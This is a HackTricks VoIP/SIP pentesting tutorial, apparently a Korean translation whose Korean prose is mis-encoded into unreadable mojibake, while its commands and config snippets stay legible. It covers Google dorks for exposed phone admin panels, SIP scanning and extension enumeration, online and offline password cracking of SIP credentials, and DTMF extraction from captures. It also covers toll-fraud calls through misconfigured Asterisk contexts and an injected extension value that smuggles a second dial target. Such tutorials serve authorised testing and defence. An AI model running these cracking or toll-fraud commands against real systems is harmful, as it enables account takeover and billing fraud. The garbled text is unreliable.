Pentesting VoIP
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
VoIP κΈ°λ³Έ μ 보
VoIP μλ λ°©μμ λν΄ λ°°μ°κΈ° μμνλ €λ©΄ λ€μμ νμΈνμΈμ:
κΈ°λ³Έ λ©μμ§
Request name Description RFC references
------------------------------------------------------------------------------------------------------
REGISTER Register a SIP user. RFC 3261
INVITE Initiate a dialog for establishing a call. RFC 3261
ACK Confirm that an entity has received. RFC 3261
BYE Signal termination of a dialog and end a call. RFC 3261
CANCEL Cancel any pending request. RFC 3261
UPDATE Modify the state of a session without changing the state of the dialog. RFC 3311
REFER Ask recipient to issue a request for the purpose of call transfer. RFC 3515
PRACK Provisional acknowledgement. RFC 3262
SUBSCRIBE Initiates a subscription for notification of events from a notifier. RFC 6665
NOTIFY Inform a subscriber of notifications of a new event. RFC 6665
PUBLISH Publish an event to a notification server. RFC 3903
MESSAGE Deliver a text message. Used in instant messaging applications. RFC 3428
INFO Send mid-session information that does not modify the session state. RFC 6086
OPTIONS Query the capabilities of an endpoint RFC 3261
μλ΅ μ½λ
1xxβμμ μλ΅
100 Trying
180 Ringing
181 Call is Being Forwarded
182 Queued
183 Session Progress
199 Early Dialog Terminated
2xxβμ±κ³΅μ μΈ μλ΅
200 OK
202 Accepted
204 No Notification
3xxβ리λ€μ΄λ μ μλ΅
300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
305 Use Proxy
380 Alternative Service
4xxβν΄λΌμ΄μΈνΈ μ€ν¨ μλ΅
400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Conditional Request Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Unsupported URI Scheme
417 Unknown Resource-Priority
420 Bad Extension
421 Extension Required
422 Session Interval Too Small
423 Interval Too Brief
424 Bad Location Information
425 Bad Alert Message
428 Use Identity Header
429 Provide Referrer Identity
430 Flow Failed
433 Anonymity Disallowed
436 Bad Identity-Info
437 Unsupported Certificate
438 Invalid Identity Header
439 First Hop Lacks Outbound Support
440 Max-Breadth Exceeded
469 Bad Info Package
470 Consent Needed
480 Temporarily Unavailable
481 Call/Transaction Does Not Exist
482 Loop Detected
483 Too Many Hops
484 Address Incomplete
485 Ambiguous
486 Busy Here
487 Request Terminated
488 Not Acceptable Here
489 Bad Event
491 Request Pending
493 Undecipherable
494 Security Agreement Required
5xxβμλ² μ€ν¨ μλ΅
500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Server Time-out
505 Version Not Supported
513 Message Too Large
555 Push Notification Service Not Supported
580 Precondition Failure
6xxβμ μ μ€ν¨ μλ΅
600 Busy Everywhere
603 Decline
604 Does Not Exist Anywhere
606 Not Acceptable
607 Unwanted
608 Rejected
VoIP Enumeration
Telephone Numbers
Red Teamμ΄ μνν μ μλ 첫 λ²μ§Έ λ¨κ³ μ€ νλλ OSINT λꡬ, Google κ²μ λλ μΉ νμ΄μ§ μ€ν¬λνμ μ¬μ©νμ¬ νμ¬μ μ°λ½ν μ μλ μ νλ²νΈλ₯Ό κ²μνλ κ²μ λλ€.
μ νλ²νΈλ₯Ό ν보ν νμλ μ¨λΌμΈ μλΉμ€λ₯Ό μ¬μ©νμ¬ μ΄μμλ₯Ό μλ³ν μ μμ΅λλ€:
- https://www.numberingplans.com/?page=analysis&sub=phonenr
- https://mobilenumbertracker.com/
- https://www.whitepages.com/
- https://www.twilio.com/lookup
μ΄μμκ° VoIP μλΉμ€λ₯Ό μ 곡νλμ§ μλ©΄ νμ¬κ° VoIPλ₯Ό μ¬μ©νκ³ μλμ§ μλ³ν μ μμ΅λλ€β¦ κ²λ€κ°, νμ¬κ° VoIP μλΉμ€λ₯Ό κ³μ½νμ§ μμμ§λ§ PSTN μΉ΄λλ₯Ό μ¬μ©νμ¬ μ체 VoIP PBXλ₯Ό μ ν΅μ μΈ μ ν λ€νΈμν¬μ μ°κ²°νκ³ μμ κ°λ₯μ±λ μμ΅λλ€.
μμ μ μλ μλ΅κ³Ό κ°μ κ²λ€μ μΌλ°μ μΌλ‘ VoIPκ° μ¬μ©λκ³ μμμ λνλ λλ€.
Google Dorks
# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
# Cisco phones
inurl:"NetworkConfiguration" cisco
# Linksys phones
intitle:"Sipura SPA Configuration"
# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com
# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
OSINT μ 보
VoIP μννΈμ¨μ΄λ₯Ό μλ³νλ λ° λμμ΄ λλ λ€λ₯Έ OSINT μ΄κ±°λ Red Teamμ μ μ©ν κ²μ λλ€.
λ€νΈμν¬ μ΄κ±°
- **
nmap**μ UDP μλΉμ€λ₯Ό μ€μΊν μ μμ§λ§, μ€μΊλλ UDP μλΉμ€μ μ λλ¬Έμ λ§€μ° λλ¦¬κ³ μ΄λ¬ν μ’ λ₯μ μλΉμ€μ λν΄ μ ννμ§ μμ μ μμ΅λλ€.
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
svmapfrom SIPVicious (sudo apt install sipvicious): μ§μ λ λ€νΈμν¬μμ SIP μλΉμ€λ₯Ό μ°Ύμ΅λλ€.svmapμ User-Agentfriendly-scannerλ₯Ό μ¬μ©νκΈ° λλ¬Έμ μ°¨λ¨νκΈ° μ½μ΅λλ€, νμ§λ§/usr/share/sipvicious/sipviciousμ μ½λλ₯Ό μμ νκ³ λ³κ²½ν μ μμ΅λλ€.
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
SIPPTS scanfrom sippts: SIPPTS μ€μΊμ UDP, TCP λλ TLSλ₯Ό ν΅ν SIP μλΉμ€μ λν λ§€μ° λΉ λ₯Έ μ€μΊλμ λλ€. λ©ν°μ€λ λλ₯Ό μ¬μ©νλ©° λκ·λͺ¨ λ€νΈμν¬ λ²μλ₯Ό μ€μΊν μ μμ΅λλ€. ν¬νΈ λ²μλ₯Ό μ½κ² μ§μ νκ³ , TCPμ UDPλ₯Ό λͺ¨λ μ€μΊνλ©°, λ€λ₯Έ λ°©λ²μ μ¬μ©ν μ μκ³ (κΈ°λ³Έμ μΌλ‘ OPTIONSλ₯Ό μ¬μ©), λ€λ₯Έ User-Agentλ₯Ό μ§μ ν μ μμ΅λλ€(κΈ°ν λ±λ±).
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
- metasploit:
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
μΆκ° λ€νΈμν¬ μ΄κ±°
PBXλ λ€μκ³Ό κ°μ λ€λ₯Έ λ€νΈμν¬ μλΉμ€λ₯Ό λ ΈμΆν μ μμ΅λλ€:
- 69/UDP (TFTP): νμ¨μ΄ μ λ°μ΄νΈ
- 80 (HTTP) / 443 (HTTPS): μΉμμ μ₯μΉλ₯Ό κ΄λ¦¬νκΈ° μν΄
- 389 (LDAP): μ¬μ©μ μ 보λ₯Ό μ μ₯νλ λμ
- 3306 (MySQL): MySQL λ°μ΄ν°λ² μ΄μ€
- 5038 (Manager): λ€λ₯Έ νλ«νΌμμ Asteriskλ₯Ό μ¬μ©ν μ μκ² ν¨
- 5222 (XMPP): Jabberλ₯Ό μ¬μ©ν λ©μμ§
- κΈ°νβ¦
λ°©λ² μ΄κ±°
SIPPTS enumerateλ₯Ό μ¬μ©νμ¬ PBXμμ μ¬μ© κ°λ₯ν λ°©λ²μ μ°Ύλ κ²μ΄ κ°λ₯ν©λλ€ sippts
sippts enumerate -i 10.10.0.10
μλ² μλ΅ λΆμ
μλ²κ° μ°λ¦¬μκ² λ³΄λ΄λ ν€λλ₯Ό λΆμνλ κ²μ μ°λ¦¬κ° 보λ΄λ λ©μμ§μ ν€λμ μ νμ λ°λΌ λ§€μ° μ€μν©λλ€. sipptsμ SIPPTS sendλ₯Ό μ¬μ©νλ©΄ λͺ¨λ ν€λλ₯Ό μ‘°μνμ¬ κ°μΈνλ λ©μμ§λ₯Ό λ³΄λΌ μ μμΌλ©°, μλ΅μ λΆμν μ μμ΅λλ€.
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
μλ²κ° μΉμμΌμ μ¬μ©νλ κ²½μ° λ°μ΄ν° μμ§λ κ°λ₯ν©λλ€. sipptsμ SIPPTS wssendλ₯Ό μ¬μ©νμ¬ κ°μΈνλ WS λ©μμ§λ₯Ό λ³΄λΌ μ μμ΅λλ€.
sippts wssend -i 10.10.0.10 -r 443 -path /ws
Extension Enumeration
PBX(μ¬μ€ κ΅νκΈ°) μμ€ν μμ νμ₯μ μ‘°μ§μ΄λ λΉμ¦λμ€ λ΄μ κ°λ³ μ νμ , μ₯μΉ λλ μ¬μ©μμκ² ν λΉλ κ³ μ ν λ΄λΆ μλ³μλ₯Ό μλ―Έν©λλ€. νμ₯μ μ‘°μ§ λ΄μμ μ νλ₯Ό ν¨μ¨μ μΌλ‘ λΌμ°ν ν μ μκ² ν΄μ£Όλ©°, κ° μ¬μ©μλ μ₯μΉμ λν κ°λ³ μΈλΆ μ νλ²νΈκ° νμνμ§ μμ΅λλ€.
svwarfrom SIPVicious (sudo apt install sipvicious):svwarλ λ¬΄λ£ SIP PBX νμ₯μ μ€μΊλμ λλ€. κ°λ μ μΌλ‘ μ ν΅μ μΈ μλλ€μ΄μΌλ¬μ μ μ¬νκ² νμ₯ λ²μ λλ μ£Όμ΄μ§ νμ₯ λͺ©λ‘μ μΆμΈ‘νμ¬ μλν©λλ€.
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
SIPPTS extenfrom sippts: SIPPTS extenμ SIP μλ²μμ νμ₯μ μλ³ν©λλ€. Sipextenμ λκ·λͺ¨ λ€νΈμν¬ λ° ν¬νΈ λ²μλ₯Ό νμΈν μ μμ΅λλ€.
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
- metasploit: metasploitμ μ¬μ©νμ¬ νμ₯/μ¬μ©μ μ΄λ¦μ μ΄κ±°ν μλ μμ΅λλ€:
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
enumiax(apt install enumiax): enumIAXλ Inter Asterisk Exchange νλ‘ν μ½ μ¬μ©μ μ΄λ¦ λ¬΄μ°¨λ³ λμ μ΄κ±°κΈ°μ λλ€. enumIAXλ λ κ°μ§ λͺ¨λμμ μλν μ μμ΅λλ€; μμ°¨μ μ¬μ©μ μ΄λ¦ μΆμΈ‘ λλ μ¬μ 곡격.
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
VoIP 곡격
λΉλ°λ²νΈ λ¬΄μ°¨λ³ λμ - μ¨λΌμΈ
PBXμ μΌλΆ νμ₯/μ¬μ©μ μ΄λ¦μ λ°κ²¬ν ν, Red Teamμ μΌλ° λΉλ°λ²νΈ μ¬μ μ μ¬μ©νμ¬ μΈμ¦μ λ¬΄μ°¨λ³ λμ
νκΈ° μν΄ REGISTER λ°©λ²μ ν΅ν΄ νμ₯μ μΈμ¦μ μλν μ μμ΅λλ€.
Caution
μ¬μ©μ μ΄λ¦μ΄ νμ₯κ³Ό λμΌν μ μμ§λ§, μ΄ κ΄νμ PBX μμ€ν , κ΅¬μ± λ° μ‘°μ§μ μ νΈλμ λ°λΌ λ€λ₯Ό μ μμ΅λλ€β¦
μ¬μ©μ μ΄λ¦μ΄ νμ₯κ³Ό λμΌνμ§ μμ κ²½μ°, λ¬΄μ°¨λ³ λμ μ μν΄ μ¬μ©μ μ΄λ¦μ μμλ΄μΌ ν©λλ€.
svcrackfrom SIPVicious (sudo apt install sipvicious): SVCrackμ PBXμμ νΉμ μ¬μ©μ μ΄λ¦/νμ₯μ λν λΉλ°λ²νΈλ₯Ό ν¬λν μ μκ² ν΄μ€λλ€.
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
SIPPTS rcrackfrom sippts: SIPPTS rcrackμ SIP μλΉμ€μ© μ격 λΉλ°λ²νΈ ν¬λ컀μ λλ€. Rcrackμ μ¬λ¬ μ¬μ©μμ λν΄ λ€μν IP λ° ν¬νΈ λ²μμμ λΉλ°λ²νΈλ₯Ό ν μ€νΈν μ μμ΅λλ€.
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
- Metasploit:
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb
VoIP Sniffing
Open Wifi λ€νΈμν¬ λ΄μμ VoIP μ₯λΉλ₯Ό λ°κ²¬νλ©΄ λͺ¨λ μ 보λ₯Ό μ€λνν μ μμ΅λλ€. λν, λ νμλ λ€νΈμν¬(μ΄λλ· λλ 보νΈλ Wifiμ μ°κ²°λ κ²½μ°) λ΄μμλ PBXμ κ²μ΄νΈμ¨μ΄ κ°μ MitM 곡격μ μννμ¬ μ 보λ₯Ό μ€λνν μ μμ΅λλ€.
λ€νΈμν¬ μ 보 μ€μλ μ₯λΉλ₯Ό κ΄λ¦¬νκΈ° μν μΉ μ격 μ¦λͺ , μ¬μ©μ λ΄μ , μ¬μ©μ μ΄λ¦, IP μ£Όμ, μ¬μ§μ΄ ν΄μλ λΉλ°λ²νΈμ RTP ν¨ν·μ΄ ν¬ν¨λμ΄ μμ΄ λνλ₯Ό λ€μ μ μμ΅λλ€.
μ΄ μ 보λ₯Ό μ»κΈ° μν΄ Wireshark, tcpdumpμ κ°μ λꡬλ₯Ό μ¬μ©ν μ μμ§λ§, VoIP λνλ₯Ό μ€λννκΈ° μν΄ νΉλ³ν μ μλ λꡬλ ucsniffμ λλ€.
Caution
SIP ν΅μ μ TLSκ° μ¬μ©λλ κ²½μ° SIP ν΅μ μ λͺ ννκ² λ³Ό μ μμ΅λλ€.
SRTP λ° ZRTPκ° μ¬μ©λλ κ²½μ°μλ RTP ν¨ν·μ νλ¬ΈμΌλ‘ μ‘΄μ¬νμ§ μμ΅λλ€.
SIP μ격 μ¦λͺ (λΉλ°λ²νΈ λΈλ£¨νΈν¬μ€ - μ€νλΌμΈ)
SIP REGISTER ν΅μ μ λ μ μ΄ν΄νκΈ° μν μ΄ μμ λ₯Ό νμΈνμΈμ μ격 μ¦λͺ μ΄ μ΄λ»κ² μ μ‘λλμ§ λ°°μ°μΈμ.
sipdump&sipcrack, sipcrackμ μΌλΆ(apt-get install sipcrack): μ΄ λꡬλ€μ SIP νλ‘ν μ½ λ΄μμ λ€μ΄μ μ€νΈ μΈμ¦μ μΆμΆνκ³ λΈλ£¨νΈν¬μ€ν μ μμ΅λλ€.
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
SIPPTS dumpfrom sippts: SIPPTS dumpλ pcap νμΌμμ λ€μ΄μ μ€νΈ μΈμ¦μ μΆμΆν μ μμ΅λλ€.
sippts dump -f capture.pcap -o data.txt
SIPPTS dcrackfrom sippts: SIPPTS dcrackμ SIPPTS λ€νμμ μ»μ λ€μ΄μ μ€νΈ μΈμ¦μ ν¬λνλ λꡬμ λλ€.
sippts dcrack -f data.txt -w wordlist/rockyou.txt
SIPPTS tsharkfrom sippts: SIPPTS tsharkλ PCAP νμΌμμ SIP νλ‘ν μ½μ λ°μ΄ν°λ₯Ό μΆμΆν©λλ€.
sippts tshark -f capture.pcap [-filter auth]
DTMF μ½λ
SIP μ격 μ¦λͺ
λΏλ§ μλλΌ λ€νΈμν¬ νΈλν½μμ μμ± λ©μΌμ μ κ·Όνλ λ° μ¬μ©λλ DTMF μ½λλ₯Ό μ°Ύλ κ²λ κ°λ₯ν©λλ€.
μ΄λ¬ν μ½λλ INFO SIP λ©μμ§, μ€λμ€ λλ RTP ν¨ν· λ΄μμ μ μ‘ν μ μμ΅λλ€. RTP ν¨ν· λ΄μ μ½λκ° μλ κ²½μ°, λνμ ν΄λΉ λΆλΆμ μλΌλ΄κ³ multimo λꡬλ₯Ό μ¬μ©νμ¬ μΆμΆν μ μμ΅λλ€:
multimon -a DTMF -t wac pin.wav
λ¬΄λ£ ν΅ν / Asterisk μ°κ²° μλͺ» ꡬμ±
Asteriskμμλ νΉμ IP μ£Όμμμμ μ°κ²°μ νμ©νκ±°λ λͺ¨λ IP μ£Όμμμμ μ°κ²°μ νμ©ν μ μμ΅λλ€:
host=10.10.10.10
host=dynamic
IP μ£Όμκ° μ§μ λλ©΄ νΈμ€νΈλ REGISTER μμ²μ κ°λμ© λ³΄λΌ νμκ° μμ΅λλ€(REGISTER ν¨ν·μλ μΌλ°μ μΌλ‘ 30λΆμ TTLμ΄ ν¬ν¨λμ΄ μμ΄, λ€λ₯Έ μλ리μ€μμλ μ νκ° 30λΆλ§λ€ REGISTERλ₯Ό ν΄μΌ ν¨μ μλ―Έν©λλ€). κ·Έλ¬λ VoIP μλ²μμ μ νλ₯Ό λ°μ μ μλλ‘ μ°κ²°μ νμ©νλ μ΄λ¦° ν¬νΈκ° νμν©λλ€.
μ¬μ©μλ₯Ό μ μνλ €λ©΄ λ€μκ³Ό κ°μ΄ μ μν μ μμ΅λλ€:
type=user: μ¬μ©μλ μ νλ§ λ°μ μ μμ΅λλ€.type=friend: νΌμ΄λ‘ μ νλ₯Ό κ±Έκ³ μ¬μ©μλ‘μ λ°μ μ μμ΅λλ€(νμ₯κ³Ό ν¨κ» μ¬μ©λ¨).type=peer: νΌμ΄λ‘ μ νλ₯Ό 보λ΄κ³ λ°μ μ μμ΅λλ€(SIP νΈλ ν¬).
μ λ’°λ₯Ό μ€μ νλ κ²λ κ°λ₯ν©λλ€:
insecure=port: IPλ‘ κ²μ¦λ νΌμ΄ μ°κ²°μ νμ©ν©λλ€.insecure=invite: INVITE λ©μμ§μ λν μΈμ¦μ μꡬνμ§ μμ΅λλ€.insecure=port,invite: λ λ€.
Warning
**
type=friend**κ° μ¬μ©λ λ, host λ³μμ κ°μ μ¬μ©λμ§ μμΌλ―λ‘, κ΄λ¦¬μκ° ν΄λΉ κ°μ μ¬μ©νμ¬ SIP νΈλ ν¬λ₯Ό μλͺ» ꡬμ±νλ©΄, λꡬλ μ°κ²°ν μ μκ² λ©λλ€.μλ₯Ό λ€μ΄, μ΄ κ΅¬μ±μ μ·¨μ½ν©λλ€:
host=10.10.10.10insecure=port,invitetype=friend
λ¬΄λ£ ν΅ν / Asterisk 컨ν μ€νΈ μλͺ» ꡬμ±
Asteriskμμ 컨ν μ€νΈλ λ€μ΄μΌ νλμμ κ΄λ ¨λ νμ₯, μμ λ° κ·μΉμ κ·Έλ£Ήννλ μ΄λ¦μ΄ μλ 컨ν μ΄λ λλ μΉμ μ λλ€. λ€μ΄μΌ νλμ Asterisk μμ€ν μ ν΅μ¬ κ΅¬μ± μμλ‘, μμ λ° λ°μ μ νλ₯Ό μ²λ¦¬νκ³ λΌμ°ν νλ λ°©λ²μ μ μν©λλ€. 컨ν μ€νΈλ λ€μ΄μΌ νλμ ꡬμ±νκ³ , μ κ·Ό μ μ΄λ₯Ό κ΄λ¦¬νλ©°, μμ€ν μ μλ‘ λ€λ₯Έ λΆλΆ κ°μ λΆλ¦¬λ₯Ό μ 곡ν©λλ€.
κ° μ»¨ν
μ€νΈλ κ΅¬μ± νμΌ, μΌλ°μ μΌλ‘ extensions.conf νμΌμ μ μλ©λλ€. 컨ν
μ€νΈλ λκ΄νΈλ‘ νμλλ©°, κ·Έ μμ 컨ν
μ€νΈ μ΄λ¦μ΄ ν¬ν¨λ©λλ€. μλ₯Ό λ€μ΄:
csharpCopy code[my_context]
λ΄λΆ 컨ν μ€νΈμμλ νμ₯(λ€μ΄μΌλ λ²νΈμ ν¨ν΄)μ μ μνκ³ μ΄λ₯Ό μΌλ ¨μ μμ λλ μ ν리μΌμ΄μ κ³Ό μ°κ²°ν©λλ€. μ΄λ¬ν μμ μ ν΅νκ° μ²λ¦¬λλ λ°©μμ κ²°μ ν©λλ€. μλ₯Ό λ€μ΄:
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
μ΄ μμ λ βmy_contextβλΌλ κ°λ¨ν 컨ν μ€νΈμ β100βμ΄λΌλ νμ₯μ 보μ¬μ€λλ€. λκ΅°κ° 100μΌλ‘ μ νλ₯Ό κ±Έλ©΄, ν΅νκ° μ°κ²°λκ³ νμ λ©μμ§κ° μ¬μλ ν ν΅νκ° μ’ λ£λ©λλ€.
μ΄κ²μ λ€λ₯Έ 컨ν μ€νΈλ‘, λ€λ₯Έ λ²νΈλ‘ μ νλ₯Ό κ±Έ μ μμ΅λλ€:
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
κ΄λ¦¬μκ° κΈ°λ³Έ 컨ν μ€νΈλ₯Ό λ€μκ³Ό κ°μ΄ μ μνλ©΄:
[default]
include => my_context
include => external
Warning
λꡬλ μλ²λ₯Ό μ¬μ©νμ¬ λ€λ₯Έ λ²νΈλ‘ μ νλ₯Ό κ±Έ μ μμ΅λλ€ (μλ²μ κ΄λ¦¬μκ° μ νλ₯Ό λΉμ©μ μ§λΆνκ² λ©λλ€).
Caution
κ²λ€κ° κΈ°λ³Έμ μΌλ‘
sip.confνμΌμλ **allowguest=true**κ° ν¬ν¨λμ΄ μμ΄, μΈμ¦ μμ΄ λͺ¨λ 곡격μκ° λ€λ₯Έ λ²νΈλ‘ μ νλ₯Ό κ±Έ μ μμ΅λλ€.
SIPPTS invitefrom sippts: SIPPTS inviteλ PBX μλ²κ° μΈμ¦ μμ΄ μ νλ₯Ό κ±Έ μ μλλ‘ νμ©νλμ§ νμΈν©λλ€. SIP μλ²μ ꡬμ±μ΄ μλͺ»λ κ²½μ°, μΈλΆ λ²νΈλ‘ μ νλ₯Ό κ±Έ μ μλλ‘ νμ©ν©λλ€. λν λ λ²μ§Έ μΈλΆ λ²νΈλ‘ μ νλ₯Ό μ νν μ μλλ‘ νμ©ν μ μμ΅λλ€.
μλ₯Ό λ€μ΄, Asterisk μλ²μ μλͺ»λ 컨ν μ€νΈ ꡬμ±μ΄ μλ κ²½μ°, μΈμ¦ μμ΄ INVITE μμ²μ μλ½ν μ μμ΅λλ€. μ΄ κ²½μ°, 곡격μλ μ¬μ©μ/λΉλ°λ²νΈλ₯Ό μμ§ λͺ»νκ³ λ μ νλ₯Ό κ±Έ μ μμ΅λλ€.
# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
λ¬΄λ£ ν΅ν / μλͺ» ꡬμ±λ IVRS
IVRSλ Interactive Voice Response Systemμ μ½μλ‘, μ¬μ©μκ° μμ± λλ ν°μΉν€ μ λ ₯μ ν΅ν΄ μ»΄ν¨ν°νλ μμ€ν κ³Ό μνΈμμ©ν μ μκ² ν΄μ£Όλ μ ν κΈ°μ μ λλ€. IVRSλ μ 보λ₯Ό μ 곡νκ³ , μ νλ₯Ό λΌμ°ν νλ©°, μ¬μ©μ μ λ ₯μ μΊ‘μ²νλ λ± λ€μν κΈ°λ₯μ μ 곡νλ μλνλ ν΅ν μ²λ¦¬ μμ€ν μ ꡬμΆνλ λ° μ¬μ©λ©λλ€.
VoIP μμ€ν μ IVRSλ μΌλ°μ μΌλ‘ λ€μμΌλ‘ ꡬμ±λ©λλ€:
- μμ± ν둬ννΈ: μ¬μ©μκ° IVR λ©λ΄ μ΅μ λ° μ§μΉ¨μ μλ΄λ°μ μ μλλ‘ νλ 미리 λ Ήμλ μ€λμ€ λ©μμ§.
- DTMF (Dual-Tone Multi-Frequency) μ νΈ: μ ν ν€λ₯Ό λλ¬ μμ±λ ν°μΉν€ μ λ ₯μΌλ‘, IVR λ©λ΄λ₯Ό νμνκ³ μ λ ₯μ μ 곡νλ λ° μ¬μ©λ©λλ€.
- ν΅ν λΌμ°ν : μ¬μ©μ μ λ ₯μ λ°λΌ νΉμ λΆμ, μλ΄μ λλ λ΄μ μΌλ‘ μ νλ₯Ό μ μ ν λͺ©μ μ§λ‘ μλ΄ν©λλ€.
- μ¬μ©μ μ λ ₯ μΊ‘μ²: λ°μ μλ‘λΆν° κ³μ’ λ²νΈ, μ¬κ±΄ ID λλ κΈ°ν κ΄λ ¨ λ°μ΄ν°λ₯Ό μμ§ν©λλ€.
- μΈλΆ μμ€ν κ³Όμ ν΅ν©: IVR μμ€ν μ λ°μ΄ν°λ² μ΄μ€λ λ€λ₯Έ μννΈμ¨μ΄ μμ€ν μ μ°κ²°νμ¬ μ 보λ₯Ό μ‘μΈμ€νκ±°λ μ λ°μ΄νΈνκ³ , μμ μ μννκ±°λ μ΄λ²€νΈλ₯Ό νΈλ¦¬κ±°ν©λλ€.
Asterisk VoIP μμ€ν
μμλ λ€μ΄μΌ νλ (extensions.conf νμΌ)κ³Ό Background(), Playback(), Read() λ±μ λ€μν μ ν리μΌμ΄μ
μ μ¬μ©νμ¬ IVRμ μμ±ν μ μμ΅λλ€. μ΄λ¬ν μ ν리μΌμ΄μ
μ μμ± ν둬ννΈλ₯Ό μ¬μνκ³ , μ¬μ©μ μ
λ ₯μ μΊ‘μ²νλ©°, ν΅ν νλ¦μ μ μ΄νλ λ° λμμ μ€λλ€.
μ·¨μ½ν ꡬμ±μ μ
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
μ΄μ μμλ μ¬μ©μκ° λΆμλ₯Ό νΈμΆνκΈ° μν΄ 1μ λλ₯΄κ±°λ, λ€λ₯Έ λΆμλ₯Ό νΈμΆνκΈ° μν΄ 2λ₯Ό λλ₯΄κ±°λ, μκ³ μλ μ 체 λ΄μ λ²νΈλ₯Ό μ
λ ₯νλλ‘ μμ²λ°λ κ²½μ°μ
λλ€.
μ·¨μ½μ μ μ§μ λ λ΄μ κΈΈμ΄κ° νμΈλμ§ μκΈ° λλ¬Έμ μ¬μ©μκ° 5μ΄ νμμμμ μ
λ ₯νμ¬ μ 체 λ²νΈλ₯Ό μ
λ ₯ν μ μκ³ , νΈμΆλ μ μλ€λ μ μ
λλ€.
Extension Injection
λ€μκ³Ό κ°μ λ΄μ μ μ¬μ©νμ¬:
exten => _X.,1,Dial(SIP/${EXTEN})
μ¬κΈ°μ **${EXTEN}**μ νΈμΆλ λ΄μ μ΄λ©°, ext 101μ΄ λμ
λλ©΄ λ€μκ³Ό κ°μ μΌμ΄ λ°μν©λλ€:
exten => 101,1,Dial(SIP/101)
κ·Έλ¬λ **${EXTEN}**μ΄ μ«μ μ΄μΈμ κ²μ μ
λ ₯ν μ μκ² νμ©νλ€λ©΄(ꡬλ²μ Asteriskμ κ°μ΄), 곡격μλ **101&SIP123123123**μ μ
λ ₯νμ¬ μ νλ²νΈ 123123123μΌλ‘ μ νλ₯Ό κ±Έ μ μμ΅λλ€. κ·Έλ¦¬κ³ κ·Έ κ²°κ³Όλ λ€μκ³Ό κ°μ΅λλ€:
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
